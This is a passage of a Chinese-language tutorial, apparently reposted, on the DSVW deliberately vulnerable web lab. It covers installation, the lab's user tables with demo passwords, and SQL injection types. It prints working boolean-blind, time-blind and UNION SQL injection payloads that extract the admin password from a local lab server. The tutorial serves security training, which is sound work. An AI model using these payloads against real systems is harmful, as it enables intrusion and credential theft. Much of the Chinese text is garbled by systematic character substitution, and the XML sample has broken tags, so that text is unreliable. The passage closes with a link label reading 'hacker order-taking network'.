Damn Small Vulnerable Web (DSVW) 是运用 Python 言语开发的 Web运用缝隙 的演练体系。其体系只要一个 python 的脚本文件组成, 傍边涵盖了 26 种 Web运用缝隙环境, 而且脚本代码行数控制在了100行以内, 当时版别v0.1m。
其作者是 Miroslav Stampar, 对! 便是 sqlmap 同一个作者, 它支撑大多数(盛行的)Web缝隙环境与进犯EXPLOIT, 一起各个缝隙环境还供给了相关阐明与介绍的链接地址。
1 依靠环境
python (2.6.x 或 2.7.x)
依靠 python-lxml
2 装置运用
直接克隆或许下载 github 中的 dsvw.py 脚本文件到本地。
$ git clone git@github.com:stamparm/DSVW.git
运转下面指令发动。
$ python dsvw.py
Damn Small Vulnerable Web (DSVW) 100 LoC (Lines of Code) #v0.1k
by: Miroslav Stampar (@stamparm)
[i] running HTTP server at '127.0.0.1:65412'...
浏览器拜访 http://127.0.0.1:65412 截图如下:
3. 根底布景
3.1 数据库
需求留意的是DSVW中的SQL数据库运用的是SQLITE3, 而且创建了 users 与 comments 两张表。
users 表
字段名
字段类型
id
INTEGER
username
TEXT
name
TEXT
surname
TEXT
password
TEXT
users 表中的内容:
id
username
name
surname
password
1
admin
admin
admin
7en8aiDoh!
2
dricci
dian
ricci
12345!
3
amason
anthony
mason
gandalf
4
svargas
sandra
vargas
phest1945
comments 表
字段名
字段类型
id
INTEGER
comment
TEXT
time
TEXT
3.2 XML装备
xml version="1.0" encoding="utf-8"?>
users>
user id="0">
username>adminusername>
name>adminname>
surname>adminsurname>
password>7en8aiDoh!password>
user>
user id="1">
username>dricciusername>
name>dianname>
surname>riccisurname>
password>12345password>
user>
user id="2">
username>amasonusername>
name>anthonyname>
surname>masonsurname>
password>gandalfpassword>
user>
user id="3">
username>svargasusername>
name>sandraname>
surname>vargassurname>
password>phest1945password>
user>
users>
4 缝隙类型
4.1 注入缝隙
4.1.1 Blind SQL Injection (boolean)
根据布尔型的盲注: HTTP恳求的呼应体中不会清晰的回来SQL的过错信息, 当把参数送入程序查询时,而且在查询条件为真的情况下回来正常页面,条件为假时程序会重定向到或许回来一个自定义的过错页面。
缝隙地址: http://127.0.0.1:65412/?id=2
EXPLOIT:
http://127.0.0.1:65412/?id=2 AND SUBSTR((SELECT password FROM users WHERE name='admin'),1,1)='7'`
4.1.2 Blind SQL Injection (time)
根据时刻型的盲注: 与布尔型盲注相似, 当把参数送入程序查询时,经过判别服务器呼应时所花费的时刻, 假如推迟大于等于Payload中设定的值时就可判别查询成果为真, 否则为假。不同的BDMS运用的办法和技巧略有不同。
缝隙地址: http://127.0.0.1:65412/?id=1
EXPLOIT:
http://127.0.0.1:65412/?id=1 and (SELECT (CASE WHEN (SUBSTR((SELECT password FROM users WHERE name='admin'),2,1)='e') THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(300000000))))) ELSE 0 END))
这个缝隙环境用到了 SQLITE3 中的 CASE 窗口函数与 RANDOMBLOB 来完成的根据时刻的盲注。 MSQL: sleep(2) MSSQL: WAITFOR DELAY '0:0:2'
4.1.3 UNION SQL Injection
根据联合查询注入: 运用UNION运算符用于SQL注入,UNION运算符是相关两个表的查询成果。进犯者成心假造的歹意的查询并加入到原始查询中, 假造的查询成果将被合并到原始查询的成果回来,进犯者会取得其他表的信息。
缝隙地址: http://127.0.0.1:65412/?id=2,
EXPLOIT:
http://localhost:65412/?id=2 UNION ALL SELECT NULL, NULL, NULL, (SELECT id||','||username||','||password FROM users WHERE username='admin')
4.1.4 Login Bypass
登陆绕过: 这里是根据SQL注入
[1] [2] [3] [4] 黑客接单网